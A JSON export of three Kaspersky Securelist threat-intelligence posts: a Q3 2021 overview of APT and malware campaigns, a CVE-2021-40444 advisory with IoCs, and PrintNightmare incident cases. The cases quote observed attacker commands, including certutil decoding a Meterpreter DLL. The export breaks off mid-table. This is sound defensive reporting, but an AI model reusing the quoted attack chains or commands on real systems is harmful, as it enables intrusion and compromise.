{"securelist": [{"lastseen": "2021-11-26T14:36:44", "description": "\n\n * **IT threat evolution Q3 2021**\n * [IT threat evolution in Q3 2021. PC statistics](<https://securelist.com/it-threat-evolution-in-q3-2021-pc-statistics/104982/>)\n * [IT threat evolution in Q3 2021. Mobile statistics](<https://securelist.com/it-threat-evolution-in-q3-2021-mobile-statistics/105020/>)\n\n## Targeted attacks\n\n### WildPressure targets macOS\n\nLast March, we reported a [WildPressure campaign targeting industrial-related entities in the Middle East](<https://securelist.com/wildpressure-targets-industrial-in-the-middle-east/96360/>). While tracking this threat actor in spring 2021, we discovered a newer version. It contains the C++ Milum Trojan, a corresponding VBScript variant and a set of modules that include an orchestrator and three plugins. This confirms our previous assumption that there were more last-stagers besides the C++ ones.\n\nAnother language used by WildPressure is Python. The PyInstaller module for Windows contains a script named "Guard". Interestingly, this malware was developed for both Windows and macOS operating systems. The coding style, overall design and C2 communication protocol is quite recognizable across all three programming languages used by the authors.\n\nWildPressure used both virtual private servers (VPS) and compromised servers in its infrastructure, most of which were WordPress websites.\n\nWe have very limited visibility for the samples described in our report, but our telemetry suggests that the targets in this campaign were also from the oil and gas industry.\n\nYou can view our report on the new version [here](<https://securelist.com/wildpressure-targets-macos/103072/>), together with a video presentation of our findings.\n\n### LuminousMoth: sweeping attacks for the chosen few\n\nWe recently uncovered a large-scale and highly active attack against targets in Southeast Asia by a threat actor that we call [LuminousMoth](<https://securelist.com/apt-luminousmoth/103332/>). The campaign dates back to October last year and was still ongoing at the time we published our public report in July. Most of the early sightings were in Myanmar, but it seems the threat actor is now much more active in the Philippines. Targets include high-profile organizations: namely, government entities located both within those countries and abroad.\n\nMost APT threats carefully select their targets and tailor the infection vectors, implants and payloads to the victims' identities or environment. It's not often we observe a large-scale attack by APT threat actors \u2013 they usually avoid such attacks because they are too 'noisy' and risk drawing attention to the campaign. LuminousMoth is an exception. We observed a high number of infections; although we think the campaign was aimed at a few targets of interest.\n\nThe attackers obtain initial access to a system by sending a spear-phishing email to the victim containing a Dropbox download link. The link leads to a RAR archive that masquerades as a Word document. The archive contains two malicious DLL libraries as well as two legitimate executables that side-load the DLL files. We found multiple archives like this with file names of government entities linked to Myanmar.\n\nWe also observed a second infection vector that comes into play after the first one has successfully finished. The malware tries to spread to other hosts on the network by infecting USB drives.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/12153755/LuminousMoth_01.png>)\n\nIn addition to the malicious DLLs, the attackers also deployed a signed, but fake version of the popular application Zoom on some infected systems, enabling them to exfiltrate data.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/12154002/LuminousMoth_05.png>)\n\nThe threat actor also deploys an additional tool that accesses a victim's Gmail session by stealing cookies from the Chrome browser.\n\nInfrastructure ties as well as shared TTPs allude to a possible connection between LuminousMoth and the HoneyMyte threat group, which has been seen targeting the same region using similar tools in the past.\n\n### Targeted attacks exploiting CVE-2021-40444\n\nOn September 7, [Microsoft reported a zero-day vulnerability](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>) (CVE-2021-40444) that could allow an attacker to execute code remotely on vulnerable computers. The vulnerability is in MSHTML, the Internet Explorer engine. Even though few people use IE nowadays, some programs use its engine to handle web content \u2013 in particular, Microsoft Office applications.\n\nWe [have seen targeted attacks](<https://securelist.com/exploitation-of-the-cve-2021-40444-vulnerability-in-mshtml/104218/>) exploiting the vulnerability to target companies in research and development, the energy sector and other major industries, banking, the medical technology sector, as well as telecoms and IT.\n\nTo exploit the vulnerability, attackers embed a special object in a Microsoft Office document containing a URL for a malicious script. If the victim opens the document, Microsoft Office downloads the script and runs it using the MSHTML engine. Then the script can use ActiveX controls to perform malicious actions on the victim's computer.\n\n### Tomiris backdoor linked to SolarWinds attack\n\nThe SolarWinds incident last December stood out because of the extreme carefulness of the attackers and the high-profile nature of their victims. The evidence suggests that the threat actor behind the attack, DarkHalo (aka Nobelium), had spent six months inside OrionIT's networks to perfect their attack. The following timeline sums up the different steps of the campaign.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/27145035/SAS_story_Tomiris_connection_01.png>)\n\nIn June, more than six months after DarkHalo had gone dark, we observed the DNS hijacking of multiple government zones of a CIS member state that allowed the attacker to redirect traffic from government mail servers to computers under their control \u2013 probably achieved by obtaining credentials to the control panel of the victims' registrar. When victims tried to access their corporate mail, they were redirected to a fake copy of the web interface.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/27145115/SAS_story_Tomiris_connection_02.png>)\n\nAfter this, they were tricked into downloading previously unknown malware. The backdoor, dubbed Tomiris, bears a number of similarities to the second-stage malware, Sunshuttle (aka GoldMax), used by DarkHalo last year. However, there are also a number of overlaps between Tomiris and Kazuar, a backdoor that has been linked to the Turla APT threat actor. None of the similarities is enough to link Tomiris and Sunshuttle with sufficient confidence. However, taken together they suggest the possibility of common authorship or shared development practices.\n\nYou can read our analysis [here](<https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/>).\n\n### GhostEmperor\n\nEarlier this year, while investigating the rise of attacks against Exchange servers, we noticed a recurring cluster of activity that appeared in several distinct compromised networks. We attribute the activity to a previously unknown threat actor that we have called [GhostEmperor](<https://securelist.com/ghostemperor-from-proxylogon-to-kernel-mode/104407/>). This cluster stood out because it used a formerly unknown Windows kernel mode rootkit that we dubbed Demodex; and a sophisticated multi-stage malware framework aimed at providing remote control over the attacked servers.\n\nThe rootkit is used to hide the user mode malware's artefacts from investigators and security solutions, while demonstrating an interesting loading scheme involving the kernel mode component of an open-source project named Cheat Engine to bypass the Windows Driver Signature Enforcement mechanism.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/29150203/Ghost_Emperor_06.png>)\n\nWe identified multiple attack vectors that triggered an infection chain leading to the execution of the malware in memory. The majority of GhostEmperor infections were deployed on public-facing servers, as many of the malicious artefacts were installed by the httpd.exe Apache server process, the w3wp.exe IIS Windows server process, or the oc4j.jar Oracle server process. This means that the attackers probably abused vulnerabilities in the web applications running on those systems, allowing them to drop and execute their files.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/29150042/Ghost_Emperor_04.png>)\n\nAlthough infections often start with a BAT file, in some cases the known infection chain was preceded by an earlier stage: a malicious DLL that was side-loaded by wdichost.exe, a legitimate Microsoft command line utility (originally called MpCmdRun.exe). The side-loaded DLL then proceeds to decode and load an additional executable called license.rtf. Unfortunately, we did not manage to retrieve this executable, but we saw that the consecutive actions of loading it included the creation and execution of GhostEmperor scripts by wdichost.exe.\n\nThis toolset was in use from as early as July 2020, mainly targeting Southeast Asian entities, including government agencies and telecoms companies.\n\n### FinSpy: analysis of current capabilities\n\nAt the end of September, at the Kaspersky [Security Analyst Summit](<https://thesascon.com/>), our researchers provided an [overview of FinSpy](<https://securelist.com/finspy-unseen-findings/104322/>), an infamous surveillance toolset that several NGOs have repeatedly reported being used against journalists, political dissidents and human rights activists. Our analysis included not only the Windows version of FinSpy, but also Linux and macOS versions, which share the same internal structure and features.\n\nAfter 2018, we observed falling detection rates for FinSpy for Windows. However, it never actually went away \u2013 it was simply using various first-stage implants to hide its activities. We started detecting some suspicious backdoored installer packages (including TeamViewer, VLC Media Player and WinRAR); then in the middle of 2019 we found a host that served these installers along with FinSpy Mobile implants for Android.\n\nThe authors have gone to great lengths to make FinSpy inaccessible to security researchers \u2013 it seems they have put as much work into anti-analysis and obfuscation as they have into the Trojan itself. First, the samples are protected with multiple layers of evasion tactics.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24151828/SAS_story_FinFisher_02.png>)\n\nMoreover, once the Trojan has been installed, it is heavily camouflaged using four complex, custom-made obfuscators.\n\nApart from Trojanized installers, we also observed infections involving use of a UEFI (Unified Extensible Firmware Interface) and MBR (Master Boot Record) bootkit. While the MBR infection has been known since at least 2014, details on the UEFI bootkit were publicly revealed for the first time in our private report on FinSpy.\n\nThe user of a smartphone or tablet can be infected through a link in a text message. In some cases (for example, if the victim's iPhone has not been not [jailbroken](<https://encyclopedia.kaspersky.com/glossary/jailbreak/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>)), the attacker may need physical access to the device.\n\n## Other malware\n\n### REvil attack on MSPs and their customers worldwide\n\nAn attack perpetrated by the REvil Ransomware-as-a-Service gang (aka Sodinokibi) targeting Managed Service Providers (MSPs) and their clients was discovered on July 2.\n\nThe attackers [identified and exploited](<https://threatpost.com/kaseya-patches-zero-day-exploits/167548/>) a zero-day vulnerability in the Kaseya Virtual System/Server Administrator (VSA) platform. The VSA software, used by Kaseya customers to remotely monitor and manage software and network infrastructure, is supplied either as a cloud service or via on-premises VSA servers.\n\nThe exploit involved deploying a malicious dropper via a PowerShell script. The script disabled Microsoft Defender features and then used the certutil.exe utility to decode a malicious executable (agent.exe) that dropped an older version of Microsoft Defender, along with the REvil ransomware packed into a malicious library. That library was then loaded by the legitimate MsMpEng.exe by utilizing the DLL side-loading technique.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/05113533/02-revil-attacks-msp.png>)\n\nThe attack is estimated to have resulted in the encryption of files belonging to around 60 Kaseya customers using the on-premises version of the platform. Many of them were MSPs who use VSA to manage the networks of other businesses. This MSP connection gave REvil access to those businesses, and Kaseya estimated that [around 1,500 downstream businesses were affected](<https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689-Important-Notice-July-2nd-2021>).\n\nUsing our Threat Intelligence service, we observed more than 5,000 attack attempts in 22 countries by the time [our analysis of the attack](<https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/>) was published.\n\n### What a [Print]Nightmare\n\nEarly in July, Microsoft published an alert about vulnerabilities in the Windows Print Spooler service. The vulnerabilities, [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675>) and [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527>) (aka PrintNightmare), can be used by an attacker with a regular user account to take control of a vulnerable server or client machine that runs the Windows Print Spooler service. This service is enabled by default on all Windows clients and servers, including domain controllers, making both vulnerabilities potentially very dangerous.\n\nMoreover, owing to a misunderstanding between teams of researchers, a [proof-of-concept](<https://encyclopedia.kaspersky.com/glossary/poc-proof-of-concept/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) (PoC) exploit for PrintNightmare was [published](<https://therecord.media/poc-released-for-dangerous-windows-printnightmare-bug/>) online. The researchers involved believed that Microsoft's Patch Tuesday release in June had already solved the problem, so they shared their work with the expert community. However, while Microsoft had published a patch for CVE-2021-1675, the PrintNightmare vulnerability remained unpatched until July. The PoC was quickly removed, but not before it had been copied multiple times.\n\nCVE-2021-1675 is a [privilege elevation](<https://encyclopedia.kaspersky.com/glossary/privilege-escalation/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) vulnerability, allowing an attacker with low access privileges to craft and use a malicious DLL file to run an exploit and gain higher privileges. However, that is only possible if the attacker already has direct access to the vulnerable computer in question.\n\nCVE-2021-34527 is significantly more dangerous because it is a [remote code execution](<https://encyclopedia.kaspersky.com/glossary/remote-code-execution-rce/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) (RCE) vulnerability, which means it allows remote injection of DLLs.\n\nYou can find a more detailed technical description of both vulnerabilities [here](<https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/>).\n\n### Grandoreiro and Melcoz arrests\n\nIn July, the Spanish Ministry of the Interior [announced](<http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853>) the arrest of 16 people connected to the [Grandoreiro and Melcoz (aka Mekotio) cybercrime groups](<https://securelist.com/arrests-of-members-of-tetrade-seed-groups-grandoreiro-and-melcoz/103366/>). Both groups are originally from Brazil and form part of the [Tetrade umbrella](<https://securelist.com/the-tetrade-brazilian-banking-malware/97779/>), operating for a few years now in Latin America and Western Europe.\n\nThe Grandoreiro banking Trojan malware family initially started its operations in Brazil and then expanded its operations to other Latin American countries and then to Western Europe. The group has regularly improved its techniques; and, based on our analysis of the group's campaigns, it operates as a [malware-as-a-service (MaaS)](<https://encyclopedia.kaspersky.com/glossary/malware-as-a-service-maas/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) project. Our telemetry shows that, since January 2020, Grandoreiro has mainly attacked victims in Brazil, Mexico, Spain, Portugal and Turkey.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/14175031/tetrade_arrest_01.png>)\n\nMelcoz had been active in Brazil since at least 2018, before expanding overseas. We observed the group attacking assets in Chile in 2018 and, more recently, in Mexico: it's likely that there are victims in other countries too, as some of the targeted banks have international operations. As a rule, the malware uses AutoIt or VBS scripts, added into MSI files, which run malicious DLLs using the DLL-Hijack technique, aiming to bypass security solutions. The malware steals passwords from browsers and from the device's memory, providing remote access to capture internet banking access. It also includes a Bitcoin wallet stealing module. Our telemetry confirms that, since January 2020, Melcoz has been actively targeting Brazil, Chile and Spain, among other countries.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/14175038/tetrade_arrest_02.png>)\n\nSince both malware families are from Brazil, the individuals arrested in Spain are just operators. So, it's likely that the creators of Grandoreiro and Melcoz will continue to develop new malware techniques and recruit new members in their countries of interest.\n\n### Gamers beware\n\nEarlier this year, we discovered an ad in an underground forum for a piece of malware dubbed BloodyStealer by its creators. The malware is designed to steal passwords, cookies, bank card details, browser auto-fill data, device information, screenshots, desktop and client uTorrent files, Bethesda, Epic Games, GOG, Origin, Steam, Telegram, and VimeWorld client sessions and logs.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/16141037/bloodystealer-and-gaming-accounts-in-darknet-screen-1.png>)\n\n**_The BloodyStealer ad (Source: [https://twitter.com/3xp0rtblog](<https://twitter.com/3xp0rtblog/status/1380087553676697617>))_**\n\nThe authors of the malware, which has hit users in Europe, Latin America and the Asia-Pacific region, have adopted a MaaS distribution model, meaning that anyone can buy it for the modest price of around $10 per month (roughly $40 for a "lifetime license").\n\nOn top of its theft functions, the malware includes tools to thwart analysis. It sends stolen information as a ZIP archive to the C2 (command-and-control) server, which is protected against DDoS (distributed denial of service) attacks. The cybercriminals use either the (quite basic) control panel or Telegram to obtain the data, including gamer accounts.\n\nBloodyStealer is just one of many tools available on the dark web for stealing gamer accounts. Moreover, underground forums often feature ads offering to post a malicious link on a popular website or selling tools to generate phishing pages automatically. Using these tools, cybercriminals can collect, and then try to monetize, a huge amount of credentials. All kinds of offers related to gamer accounts can be found on the dark web.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/16141127/bloodystealer-and-gaming-accounts-in-darknet-screen-2.png>)\n\nSo-called logs are among the most popular. These are databases containing reams of data for logging into accounts. In their ads, attackers can specify the types of data, the geography of users, the period over which the logs were collected and other details. For example, in the screenshot below, an underground forum member offers an archive with 65,600 records, of which 9,000 are linked to users from the US, and 5,000 to residents of India, Turkey and Canada. The entire archive costs $150 (that's about 0.2 cents per record).\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/16141203/bloodystealer-and-gaming-accounts-in-darknet-screen-3.png>)\n\nCybercriminals can also use compromised gaming accounts to launder money, distribute phishing links and conduct other illegal business.\n\nYou can read more about gaming threats, including BloodyStealer, [here](<https://securelist.com/game-related-cyberthreats/103675/>) and [here](<https://securelist.com/bloodystealer-and-gaming-assets-for-sale/104319/>).\n\n### Triada Trojan in WhatsApp mod\n\nNot everyone is happy with the official WhatsApp app, turning instead to modified WhatsApp clients for features that the WhatsApp developers haven't yet implemented in the official version. The creators of these mods often embed ads in them. However, their use of third-party ad modules can provide a mechanism for malicious code to be slipped into the app unnoticed.\n\nThis happened recently with FMWhatsApp, a popular WhatsApp mod. In version 16.80.0 the developers used a third-party ad module that includes the Triada Trojan (detected by Kaspersky's mobile antivirus as Trojan.AndroidOS.Triada.ef). This Trojan performs an intermediary function. First, it collects data about the user's device, and then, depending on the information, it downloads one of several other Trojans. You can find a description of the functions that these other Trojans perform in [our analysis of the infected FMWhatsApp mod](<https://securelist.com/triada-trojan-in-whatsapp-mod/103679/>).\n\n### Qakbot banking Trojan\n\nQakBot (aka QBot, QuackBot and Pinkslipbot) is a banking Trojan that was first discovered in 2007, and has been continually maintained and developed since then. It is now one of the leading banking Trojans around the globe. Its main purpose is to steal banking credentials (e.g., logins, passwords, etc.), but it has also acquired functionality allowing it to spy on financial operations, spread itself and install ransomware in order to maximize revenue from compromised organizations.\n\nThe Trojan also includes the ability to log keystrokes, backdoor functionality, and techniques to evade detection. The latter includes virtual environment detection, regular self-updates and cryptor/packer changes. QakBot also tries to protect itself from being analyzed and debugged by experts and automated tools. Another interesting piece of functionality is the ability to steal emails: these are later used by the attackers to send targeted emails to the victims, with the information obtained used to lure victims into opening those emails.\n\nQakBot is known to infect its victims mainly via spam campaigns. In some cases, the emails are delivered with Microsoft Office documents or password-protected archives with documents attached. The documents contain macros and victims are prompted to open the attachments with claims that they contain important information (e.g., an invoice). In some cases, the emails contain links to web pages distributing malicious documents.\n\nHowever, there is another infection vector that involves a malicious QakBot payload being transferred to the victim's machine via other malware on the compromised machine. The initial infection vectors may vary depending on what the threat actors believe has the best chance of success for the targeted organization(s). It's known that various threat actors perform reconnaissance of target organizations beforehand to decide which infection vector is most suitable.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/01145837/Qakbot_technical_analysis_01.png>)\n\nWe analyzed statistics on QakBot attacks collected from our Kaspersky Security Network (KSN), where anonymized data voluntarily provided by Kaspersky users is accumulated and processed. In the first seven months of 2021 our products detected 181,869 attempts to download or run QakBot. This number is lower than the detection number from January to July 2020, though the number of users affected grew by 65% \u2013 from 10,493 in the previous year to 17,316 this year.\n\n_Number of users affected by QakBot attacks from January to July in 2020 and 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/01155141/01-en-qakbot.png>))_\n\nYou can read our full analysis [here](<https://securelist.com/qakbot-technical-analysis/103931/>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-26T12:00:36", "type": "securelist", "title": "IT threat evolution Q3 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527", "CVE-2021-40444"], "modified": "2021-11-26T12:00:36", "id": "SECURELIST:86368EF0EA7DAA3D2AB20E0597A62656", "href": "https://securelist.com/it-threat-evolution-q3-2021/104876/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-09-25T08:35:29", "description": "\n\n## Summary\n\nLast week, Microsoft reported the remote code execution vulnerability CVE-2021-40444 in the MSHTML browser engine. According to the company, this vulnerability has already been used in targeted attacks against Microsoft Office users. In attempt to exploit this vulnerability, attackers create a document with a specially-crafted object. If a user opens the document, MS Office will download and execute a malicious script. \nAccording to our data, the same attacks are still happening all over the world. We are currently seeing attempts to exploit the CVE-2021-40444 vulnerability targeting companies in the research and development sector, the energy sector and large industrial sectors, banking and medical technology development sectors, as well as telecommunications and the IT sector. Due to its ease of exploitation and the few published [Proof-of-Concept](<https://encyclopedia.kaspersky.com/glossary/poc-proof-of-concept/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) (PoC), we expect to see an increase in attacks using this vulnerability.\n\n_Geography of CVE-2021-40444 exploitation attempts_\n\nKaspersky is aware of targeted attacks using CVE-2021-40444, and our products protect against attacks leveraging the vulnerability. Possible detection names are:\n\n * HEUR:Exploit.MSOffice.CVE-2021-40444.a\n * HEUR:Trojan.MSOffice.Agent.gen\n * PDM:Exploit.Win32.Generic\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/16133928/02-cve-2021-40444-kedr.png>) \n_Killchain generated by KEDR during execution of CVE-2021-40444 Proof-of-Concept _\n\nExperts at Kaspersky are monitoring the situation closely and improving mechanisms to detect this vulnerability using [Behavior Detection](<https://www.kaspersky.com/enterprise-security/wiki-section/products/behavior-based-protection>) and [Exploit Prevention](<https://www.kaspersky.com/enterprise-security/wiki-section/products/exploit-prevention>) components. Within our [Managed Detection and Response](<https://www.kaspersky.com/enterprise-security/managed-detection-and-response>) service, our SOC experts are able to detect when this vulnerability is expoited, investigate such attacks and notify customers.\n\n## Technical details\n\nThe remote code execution vulnerability CVE-2021-40444 was found in MSHTML, the Internet Explorer browser engine which is a component of modern Windows systems, both user and server. Moreover, the engine is often used by other programs to work with web content (e.g. MS Word or MS PowerPoint). \nIn order to exploit the vulnerability, attackers embed a special object in a Microsoft Office document containing an URL for a malicious script. If a victim opens the document, Microsoft Office will download the malicious script from the URL and run it using the MSHTML engine. Then the script can use ActiveX controls to perform malicious actions on the victim's computer. For example, the original zero-day exploit which was used in targeted attacks at the time of detection used ActiveX controls to download and execute a Cobalt Strike payload. We are currently seeing various types of malware, mostly backdoors, which are delivered by exploiting the CVE-2021-40444 vulnerability.\n\n## Mitigations\n\n * Follow [Microsoft security update guidelines.](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>)\n * Use the latest [Threat Intelligence information](<https://www.kaspersky.com/enterprise-security/threat-intelligence>) to keep up to date with TTPs used by threat actors.\n * Businesses should use a security solution that provides vulnerability, patch management and exploit prevention components, such as the [Automatic Exploit Prevention](<https://www.kaspersky.com/enterprise-security/wiki-section/products/exploit-prevention>) component in Kaspersky Endpoint Security for Business. The component monitors suspicious actions in applications and blocks malicious file execution.\n * Use solutions like [Kaspersky Endpoint Detection and Response](<https://www.kaspersky.com/enterprise-security/endpoint-detection-response-edr>) and [Kaspersky Managed Detection and Response](<https://www.kaspersky.com/enterprise-security/managed-detection-and-response>) service, which help identify and stop an attack at an early stage before the attackers achieve their final goal.\n\n## IoC\n\n**MD5** \n[ef32824c7388a848c263deb4c360fd64](<https://opentip.kaspersky.com/ef32824c7388a848c263deb4c360fd64/?utm_source=SL&utm_medium=SL&utm_campaign=SL>) \n[e58b75e1f588508de7c15a35e2553b86](<https://opentip.kaspersky.com/e58b75e1f588508de7c15a35e2553b86/?utm_source=SL&utm_medium=SL&utm_campaign=SL>) \n[e89dbc1097cfb8591430ff93d9952260](<https://opentip.kaspersky.com/e89dbc1097cfb8591430ff93d9952260/?utm_source=SL&utm_medium=SL&utm_campaign=SL>)\n\n**URL** \n[hidusi[.]com](<https://opentip.kaspersky.com/hidusi.com/?utm_source=SL&utm_medium=SL&utm_campaign=SL>) \n[103.231.14[.]134](<https://opentip.kaspersky.com/103.231.14.134/?utm_source=SL&utm_medium=SL&utm_campaign=SL>)", "cvss3": {}, "published": "2021-09-16T15:30:57", "type": "securelist", "title": "Exploitation of the CVE-2021-40444 vulnerability in MSHTML", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-16T15:30:57", "id": "SECURELIST:63306FA6D056BD9A04969409AC790D84", "href": "https://securelist.com/exploitation-of-the-cve-2021-40444-vulnerability-in-mshtml/104218/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-12-15T10:54:49", "description": "\n\n_Kaspersky Managed Detection and Response (MDR) provides advanced protection against the growing number of threats that bypass automatic security barriers. Its capabilities are backed by a high-professional team of security analysts operating all over the world. Each suspicious security event is validated by our analysts complementing the automatic detection logic and letting us continuously improve the detection rules._\n\n_The MDR results allow us to map out the modern threat landscape and show techniques used by attackers right now. We share these results with you so that you are more informed about in-the-wild attacks and better prepared to respond._\n\n## PrintNightmare vulnerability exploitation\n\nThis summer, we witnessed a series of attacks using a dangerous vulnerability in the Windows Print Spooler service: **CVE-2021-1675/CVE-2021-34527**, also known as [PrintNightmare](<https://www.kaspersky.com/blog/printnightmare-vulnerability/40520/>). This vulnerability was published in June 2021 and allows attackers to add arbitrary printer drivers in the spooler service and thus remotely execute code on a vulnerable host under System privileges. We have already [published](<https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/>) the technical details of this vulnerability, and today we will talk about how MDR analysts detected and investigated attacks that exploit this vulnerability in real companies.\n\n### Case #1\n\nShortly after the PrintNightmare vulnerability was published, a detailed report with a technical description of the problem, as well as a working PoC exploit, was posted on GitHub by mistake. The repository was disconnected several hours later, but during this time several other users managed to clone it.\n\nKaspersky detected an attempt to exploit the PrintNightmare vulnerability using this publicly available tool. The MDR team observed a request to suspicious _DLL_ libraries from the spooler service. It should be noted, that the file names used by the attacker were exactly the same as those available in the public exploit on GitHub.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150920/MDR_interesting_cases_02.png>) | Kaspersky detected suspicious DLL libraries (nightmare.dll) on the monitored host. | C:\\Windows\\System32\\spool\\drivers\\x64\\3\\nightmare.dll C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\nightmare.dll \n---|---|--- \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150937/MDR_interesting_cases_01.png>) | In addition, the following script was found on the host. | \\cve-2021-1675-main-powershell\\cve-2021-1675-main\\cve-2021-1675.ps1 \n \nThe table below contains signs of suspicious activity that served as a starting point for the investigation.\n\n**MITRE ATT&CK Technique** | **MDR telemetry event type used** | **Detection details** | **Description** \n---|---|---|--- \n**T1210:** \nExploitation of \nRemote \nServices | Local File Modification | Modified file path: \nC:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\ \n1\\nightmare.dll \nFile modifier: \nC:\\Windows\\System32\\spoolsv.exe \nParent of the modifier: \nC:\\Windows\\System32\\services.exe | Legitimate spoolsv.exe \nlocally modified \nc:\\windows\\system32 \n\\spool\\drivers\\x64\\ \n3\\old\\1\\nightmare.dll \n**T1588.005:** \nObtain \nCapabilities: \nExploits | AV exact detect in \nOnAccess mode | File: \n\\cve-2021-1675-main-powershell\\cve-2021- \n1675-main\\cve-2021-1675.ps1 \nAV verdicts: \nExploit.Win64.CVE-2021-1675.c; \nUDS:Exploit.Win64.CVE-2021-1675.c | CVE-2021-1675 exploit \nwas detected and \nsuccessfully deleted \nby AM engine \n \n### Case #2\n\nIn another case, MDR analysts discovered a different attack scenario related to the exploitation of the PrintNightmare vulnerability. In particular, _spooler_ service access to suspicious _DLL_ files was observed. In addition, the _spooler_ service executed some unusual commands and established a network connection. Based on the tools used by attackers, we presume that this activity was related to penetration testing.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150920/MDR_interesting_cases_02.png>) | MDR analyst detected the creation of suspicious _DLL_ libraries using the _certutil.exe_ tool on a monitored host. \nAfter that, the _spooler_ service was added to the planned tasks. | C:\\Windows\\System32\\spool\\driver \ns\\x64\\3\\new\\hello.dll \nC:\\Windows\\System32\\spool\\driver \ns\\x64\\3\\new\\unidrv.dll\u2026 \n---|---|--- \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151142/MDR_interesting_cases_03.png>) | Next, the spooler service called the newly created _DLL_ files. \nIn addition, the attacker ran some of the created libraries using the rundll32 component. | \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151347/MDR_interesting_cases_04.png>) | Several hours later, a new wave of activity began. The Kaspersky MDR team detected a registry key modification that forces NTLMv1 authentication. It potentially allows [NTLM hashes](<https://book.hacktricks.xyz/windows/ntlm#basic-ntlm-domain-authentication-scheme>) to be intercepted. | \\REGISTRY\\MACHINE\\SYSTEM\\Control \nSet001\\Control\\Lsa\\MSV1_0 \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150937/MDR_interesting_cases_01.png>) | Then the attacker re-added spooler to the planned tasks. \nAfter that, execution of various commands on the host with System privileges was observed. The source of this activity was _c:\\windows\\system32\\spoolsv.exe_ process | C:\\Windows\\System32\\cmd.exe /c \nnet start spooler \nC:\\Windows\\System32\\cmd.exe /c \ntimeout 600 &gt; NUL &amp;&amp; \nnet start spooler \n \nThe table below contains signs of suspicious activity that were the starting point for investigation.\n\n**MITRE ATT&CK Technique** | **MDR telemetry event type used** | **Detection details** | **Description** \n---|---|---|--- \n**T1570: ** \nLateral Tool Transfer | Web AV exact detect in _OnDownload_ mode | AV verdict: HEUR:Trojan.Win32.Shelma.gen | Attacker downloads \nsuspicious DLL (that is, \nMeterpreter payload) via \nHTTP \n**T1140:** \nDeobfuscate/Decode Files or Information | Local File Modification | Process command lines: \ncertutil -decode 1.txt \nC:\\Share\\hello4.dll | Attacker used _certutil_ \nto decode text file into PE \nbinary \n**T1003.001: \n**OS Credential Dumping: LSASS Memory | AV exact detect in _OnAccess_ mode | AV verdicts: 